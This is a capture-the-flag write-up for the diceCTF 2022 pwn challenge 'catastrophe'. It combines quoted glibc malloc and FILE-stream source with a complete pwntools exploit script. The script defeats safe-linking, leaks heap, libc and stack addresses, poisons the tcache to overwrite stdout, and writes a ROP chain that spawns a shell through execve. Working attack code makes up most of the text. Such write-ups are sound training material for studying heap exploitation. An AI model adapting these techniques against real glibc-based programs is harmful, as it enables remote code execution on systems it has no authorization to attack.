[diceCTF 2022 - pwn] catastrophe

// https://elixir.bootlin.com/glibc/latest/source/malloc/malloc.c#L340
/* Safe-Linking:
   Use randomness from ASLR (mmap_base) to protect single-linked lists
   of Fast-Bins and TCache.  That is, mask the "next" pointers of the
   lists' chunks, and also perform allocation alignment checks on them.
   This mechanism reduces the risk of pointer hijacking, as was done with
   Safe-Unlinking in the double-linked lists of Small-Bins.
   It assumes a minimum page size of 4096 bytes (12 bits).  Systems with
   larger pages provide less entropy, although the pointer mangling
   still works.  */
#define PROTECT_PTR(pos, ptr) \
  ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr)  PROTECT_PTR (&ptr, ptr)

// https://elixir.bootlin.com/glibc/latest/source/malloc/malloc.c#L3175
/* Caller must ensure that we know tc_idx is valid and there's room
   for more chunks.  */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

  /* Mark this chunk as "in the tcache" so the test in _int_free will
     detect a double free.  */
  e->key = tcache_key;

  e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

io = start()

def alloc(idx, data, size):
   io.sendlineafter("-\n> ", b"1") 
   io.sendlineafter("Index?\n> ", str(idx).encode()) 
   io.sendlineafter("> ", str(size).encode()) 
   io.sendlineafter(": ", data) 

def free(idx):
   io.sendlineafter("> ", b"2") 
   io.sendlineafter("> ", str(idx).encode())

def view(idx):
   io.sendlineafter("> ", b"3") 
   io.sendlineafter("> ", str(idx).encode())

for i in range(7):
    alloc(i, b"", 0x100)

free(0)

view(0)

heap = ((pwn.u64(io.recvline()[:-1].ljust(8, b"\x00")) << 12))
pwn.log.info(f"heap @ {hex(heap)}")
# then we defeated safe linking lol

alloc(0, b"YY", 0x100)
# request back the chunk we used to leak the heap

alloc(7, b"YY", 0x100) # prev
alloc(8, b"YY", 0x100) # a

alloc(9, b"/bin/sh\0", 0x10) # barrier

# fill tcache
for i in range(7):
    free(i)

free(8) # free(a) => unsortedbin
free(7) # free(prev) => merged with a

# leak libc
view(8)

libc = pwn.u64(io.recvline()[:-1].ljust(8, b"\x00")) - 0x219ce0 # - 0x1bebe0 # offset of the unsorted bin

rop = pwn.ROP(libc)
binsh = next(libc.search(b"/bin/sh\x00"))
rop.execve(binsh, 0, 0)

environ = libc.address + 0x221200
stdout = libc.address + 0x21a780

pwn.log.info(f"libc: {hex(libc)}")
pwn.log.info(f"environ: {hex(environ)}")
pwn.log.info(f"stdout: {hex(stdout)}")

alloc(0, b"YY", 0x100) # pop a chunk from the tcache to let an entry left to a 
free(8) # free(a) => tcache

alloc(1, b"T"*0x108 + pwn.p64(0x111) + pwn.p64((stdout ^ ((heap + 0xb20) >> 12))), 0x130) 
# 0x130, too big for tcache => unsortedbin UAF on a to replace a->next with the address of the target location (stdout) 
alloc(2, b"TT", 0x100)
# pop a from tcache

# next 0x100 request will return the target location (stdout)

"""
0x55c4fbcd7a00:	0x0000000000000000	0x0000000000000141 [prev]
0x55c4fbcd7a10:	0x5454545454545454	0x5454545454545454
0x55c4fbcd7a20:	0x5454545454545454	0x5454545454545454
0x55c4fbcd7a30:	0x5454545454545454	0x5454545454545454
0x55c4fbcd7a40:	0x5454545454545454	0x5454545454545454
0x55c4fbcd7a50:	0x5454545454545454	0x5454545454545454
0x55c4fbcd7a60:	0x5454545454545454	0x5454545454545454
0x55c4fbcd7a70:	0x5454545454545454	0x5454545454545454
0x55c4fbcd7a80:	0x5454545454545454	0x5454545454545454
0x55c4fbcd7a90:	0x5454545454545454	0x5454545454545454
0x55c4fbcd7aa0:	0x5454545454545454	0x5454545454545454
0x55c4fbcd7ab0:	0x5454545454545454	0x5454545454545454
0x55c4fbcd7ac0:	0x5454545454545454	0x5454545454545454
0x55c4fbcd7ad0:	0x5454545454545454	0x5454545454545454
0x55c4fbcd7ae0:	0x5454545454545454	0x5454545454545454
0x55c4fbcd7af0:	0x5454545454545454	0x5454545454545454
0x55c4fbcd7b00:	0x5454545454545454	0x5454545454545454
0x55c4fbcd7b10:	0x5454545454545454	0x0000000000000111 [a]
0x55c4fbcd7b20:	0x00007f5d45ff5b57	0x4f60331b73b9000a
0x55c4fbcd7b30:	0x0000000000000000	0x0000000000000000
0x55c4fbcd7b40:	0x0000000000000000	0x00000000000000e1 [unsortedbin]
0x55c4fbcd7b50:	0x00007f5819b0dce0	0x00007f5819b0dce0
0x55c4fbcd7b60:	0x0000000000000000	0x0000000000000000
0x55c4fbcd7b70:	0x0000000000000000	0x0000000000000000
0x55c4fbcd7b80:	0x0000000000000000	0x0000000000000000
0x55c4fbcd7b90:	0x0000000000000000	0x0000000000000000
0x55c4fbcd7ba0:	0x0000000000000000	0x0000000000000000
0x55c4fbcd7bb0:	0x0000000000000000	0x0000000000000000
0x55c4fbcd7bc0:	0x0000000000000000	0x0000000000000000
0x55c4fbcd7bd0:	0x0000000000000000	0x0000000000000000
0x55c4fbcd7be0:	0x0000000000000000	0x0000000000000000
0x55c4fbcd7bf0:	0x0000000000000000	0x0000000000000000
0x55c4fbcd7c00:	0x0000000000000000	0x0000000000000000
0x55c4fbcd7c10:	0x0000000000000000	0x0000000000000000
0x55c4fbcd7c20:	0x00000000000000e0	0x0000000000000020
0x55c4fbcd7c30:	0x0068732f6e69622f	0x000000000000000a
0x55c4fbcd7c40:	0x0000000000000000	0x00000000000203c1 [top chunk]
"""

// https://elixir.bootlin.com/glibc/latest/source/libio/bits/types/struct_FILE.h#L49
/* The tag name of this struct is _IO_FILE to preserve historic
   C++ mangled names for functions taking FILE* arguments.
   That name should not be used in new code.  */
struct _IO_FILE
{
  int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */

  /* The following pointers correspond to the C++ streambuf protocol. */
  char *_IO_read_ptr;	/* Current read pointer */
  char *_IO_read_end;	/* End of get area. */
  char *_IO_read_base;	/* Start of putback+get area. */
  char *_IO_write_base;	/* Start of put area. */
  char *_IO_write_ptr;	/* Current put pointer. */
  char *_IO_write_end;	/* End of put area. */
  char *_IO_buf_base;	/* Start of reserve area. */
  char *_IO_buf_end;	/* End of reserve area. */

  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
  int _flags2;
  __off_t _old_offset; /* This used to be _offset but it's too small.  */

  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

struct _IO_FILE_complete
{
  struct _IO_FILE _file;
#endif
  __off64_t _offset;
  /* Wide character stream stuff.  */
  struct _IO_codecvt *_codecvt;
  struct _IO_wide_data *_wide_data;
  struct _IO_FILE *_freeres_list;
  void *_freeres_buf;
  size_t __pad5;
  int _mode;
  /* Make sure we don't get into trouble again.  */
  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};

// https://elixir.bootlin.com/glibc/latest/source/libio/bits/types/struct_FILE.h#L106
#define __putc_unlocked_body(_ch, _fp)					\
  (__glibc_unlikely ((_fp)->_IO_write_ptr >= (_fp)->_IO_write_end)	\
   ? __overflow (_fp, (unsigned char) (_ch))				\
   : (unsigned char) (*(_fp)->_IO_write_ptr++ = (_ch)))

// https://elixir.bootlin.com/glibc/latest/source/libio/genops.c#L198
int
__overflow (FILE *f, int ch)
{
  /* This is a single-byte stream.  */
  if (f->_mode == 0)
    _IO_fwide (f, -1);
  return _IO_OVERFLOW (f, ch);
}

// https://elixir.bootlin.com/glibc/latest/source/libio/fileops.c#L730

int
_IO_new_file_overflow (FILE *f, int ch)
{
  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
    {
      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
  /* If currently reading or no buffer allocated. */
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
    {
      /* Allocate a buffer if needed. */
      if (f->_IO_write_base == NULL)
	{
	  _IO_doallocbuf (f);
	  _IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
	}
      /* Otherwise must be currently reading.
	 If _IO_read_ptr (and hence also _IO_read_end) is at the buffer end,
	 logically slide the buffer forwards one block (by setting the
	 read pointers to all point at the beginning of the block).  This
	 makes room for subsequent output.
	 Otherwise, set the read pointers to _IO_read_end (leaving that
	 alone, so it can continue to correspond to the external position). */
      if (__glibc_unlikely (_IO_in_backup (f)))
	{
	  size_t nbackup = f->_IO_read_end - f->_IO_read_ptr;
	  _IO_free_backup_area (f);
	  f->_IO_read_base -= MIN (nbackup,
				   f->_IO_read_base - f->_IO_buf_base);
	  f->_IO_read_ptr = f->_IO_read_base;
	}

      if (f->_IO_read_ptr == f->_IO_buf_end)
	    f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base;
      f->_IO_write_ptr = f->_IO_read_ptr;
      f->_IO_write_base = f->_IO_write_ptr;
      f->_IO_write_end = f->_IO_buf_end;
      f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end;

      f->_flags |= _IO_CURRENTLY_PUTTING;
      if (f->_mode <= 0 && f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
	f->_IO_write_end = f->_IO_write_ptr;
    }
  if (ch == EOF)
    return _IO_do_write (f, f->_IO_write_base,
			 f->_IO_write_ptr - f->_IO_write_base);
  if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
    if (_IO_do_flush (f) == EOF)
      return EOF;
  *f->_IO_write_ptr++ = ch;
  if ((f->_flags & _IO_UNBUFFERED)
      || ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
    if (_IO_do_write (f, f->_IO_write_base,
		      f->_IO_write_ptr - f->_IO_write_base) == EOF)
      return EOF;
  return (unsigned char) ch;
}
libc_hidden_ver (_IO_new_file_overflow, _IO_file_overflow)

// https://elixir.bootlin.com/glibc/latest/source/libio/libioP.h#L507
#define _IO_do_flush(_f) \
  ((_f)->_mode <= 0							      \
   ? _IO_do_write(_f, (_f)->_IO_write_base,				      \
		  (_f)->_IO_write_ptr-(_f)->_IO_write_base)		      \
   : _IO_wdo_write(_f, (_f)->_wide_data->_IO_write_base,		      \
		   ((_f)->_wide_data->_IO_write_ptr			      \
		    - (_f)->_wide_data->_IO_write_base)))

// https://elixir.bootlin.com/glibc/latest/source/libio/fileops.c#L418
static size_t new_do_write (FILE *, const char *, size_t);

/* Write TO_DO bytes from DATA to FP.
   Then mark FP as having empty buffers. */

int
_IO_new_do_write (FILE *fp, const char *data, size_t to_do)
{
  return (to_do == 0
	  || (size_t) new_do_write (fp, data, to_do) == to_do) ? 0 : EOF;
}
libc_hidden_ver (_IO_new_do_write, _IO_do_write)

static size_t
new_do_write (FILE *fp, const char *data, size_t to_do)
{
  size_t count;
  if (fp->_flags & _IO_IS_APPENDING)
    /* On a system without a proper O_APPEND implementation,
       you would need to sys_seek(0, SEEK_END) here, but is
       not needed nor desirable for Unix- or Posix-like systems.
       Instead, just indicate that offset (before and after) is
       unpredictable. */
    fp->_offset = _IO_pos_BAD;
  else if (fp->_IO_read_end != fp->_IO_write_base)
    {
      off64_t new_pos
	= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
      if (new_pos == _IO_pos_BAD)
	    return 0;
      fp->_offset = new_pos;
    }
  count = _IO_SYSWRITE (fp, data, to_do);
  if (fp->_cur_column && count)
    fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
  _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
  fp->_IO_write_end = (fp->_mode <= 0
		       && (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
		       ? fp->_IO_buf_base : fp->_IO_buf_end);
  return count;
}

alloc(3, 
    pwn.p64(0xfbad1800) + # _flags
    pwn.p64(environ)*3 + # _IO_read_*
    pwn.p64(environ) + # _IO_write_base
    pwn.p64(environ + 0x8)*2 + # _IO_write_ptr + _IO_write_end
    pwn.p64(environ + 8) + # _IO_buf_base
    pwn.p64(environ + 8) # _IO_buf_end
    , 0x100) 

stack = pwn.u64(io.recv(8)[:-1].ljust(8, b"\x00")) - 0x130 - 8 
# Offset of the saved rip that belongs to frame of the op_malloc function
pwn.log.info(f"stack: {hex(stack)}")

free(1) # prev
free(2) # victim

alloc(5, b"T"*0x108 + pwn.p64(0x111) + pwn.p64((stack ^ ((heap + 0xb20) >> 12))), 0x130)
# victim->next = target
alloc(2, b"TT", 0x100)

alloc(3, pwn.p64(stack) + rop.chain(), 0x100) # overwrite sRBP for nothing lmao
# ROPchain on do_malloc's stackframe

#!/usr/bin/env python
# -*- coding: utf-8 -*-

# this exploit was generated via
# 1) pwntools
# 2) ctfmate

import os
import time
import pwn


# Set up pwntools for the correct architecture
exe = pwn.context.binary = pwn.ELF('catastrophe')
pwn.context.delete_corefiles = True
pwn.context.rename_corefiles = False
pwn.context.timeout = 2000

host = pwn.args.HOST or '127.0.0.1'
port = int(pwn.args.PORT or 1337)


def local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if pwn.args.GDB:
        return pwn.gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return pwn.process([exe.path] + argv, *a, **kw)


def remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = pwn.connect(host, port)
    if pwn.args.GDB:
        pwn.gdb.attach(io, gdbscript=gdbscript)
    return io


def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if pwn.args.LOCAL:
        return local(argv, *a, **kw)
    else:
        return remote(argv, *a, **kw)


gdbscript = '''
b* main
source ~/Downloads/pwndbg/gdbinit.py
continue
'''.format(**locals())

io = None

libc = pwn.ELF("libc.so.6")

io = start()

def alloc(idx, data, size, s=False):
   io.sendlineafter("-\n> ", b"1") 
   io.sendlineafter("Index?\n> ", str(idx).encode()) 
   io.sendlineafter("> ", str(size).encode()) 
   
   if s:
       io.sendafter(": ", data) 
   else:
       io.sendlineafter(": ", data) 

def free(idx):
   io.sendlineafter("> ", b"2") 
   io.sendlineafter("> ", str(idx).encode())

def view(idx):
   io.sendlineafter("> ", b"3") 
   io.sendlineafter("> ", str(idx).encode())

for i in range(7):
    alloc(i, b"", 0x100)
free(0)

view(0)

heap = ((pwn.u64(io.recvline()[:-1].ljust(8, b"\x00")) << 12))
pwn.log.info(f"heap @ {hex(heap)}")
# then we defeated safe linking lol

alloc(0, b"YY", 0x100)

alloc(7, b"YY", 0x100)
alloc(8, b"YY", 0x100)

alloc(9, b"/bin/sh\0", 0x10)

for i in range(7):
    free(i)

alloc(9, b"YY", 100)
free(9)

free(8)
free(7)
view(8)

libc.address = pwn.u64(io.recvline()[:-1].ljust(8, b"\x00")) - 0x219ce0 # - 0x1bebe0 # offset of the unsorted bin

rop = pwn.ROP(libc)
binsh = next(libc.search(b"/bin/sh\x00"))
rop.execve(binsh, 0, 0)

environ = libc.address + 0x221200 
stdout = libc.address + 0x21a780

pwn.log.info(f"libc: {hex(libc.address)}")
pwn.log.info(f"environ: {hex(environ)}")
pwn.log.info(f"stdout: {hex(stdout)}")

alloc(0, b"YY", 0x100)
free(8)
alloc(1, b"T"*0x108 + pwn.p64(0x111) + pwn.p64((stdout ^ ((heap + 0xb20) >> 12))), 0x130)
alloc(2, b"TT", 0x100)
alloc(3, pwn.p32(0xfbad1800) + pwn.p32(0) + pwn.p64(environ)*3 + pwn.p64(environ) + pwn.p64(environ + 0x8)*2 + pwn.p64(environ + 8) + pwn.p64(environ + 8), 0x100)

stack = pwn.u64(io.recv(8)[:-1].ljust(8, b"\x00")) - 0x130 - 8# - 0x1bebe0 # offset of the unsorted bin
pwn.log.info(f"stack: {hex(stack)}")

free(1) # large
free(2)

alloc(5, b"T"*0x108 + pwn.p64(0x111) + pwn.p64((stack ^ ((heap + 0xb20) >> 12))), 0x130)
alloc(2, b"TT", 0x100)

alloc(3, pwn.p64(stack) + rop.chain(), 0x100) # overwrite sRBP for nothing lmao

io.interactive()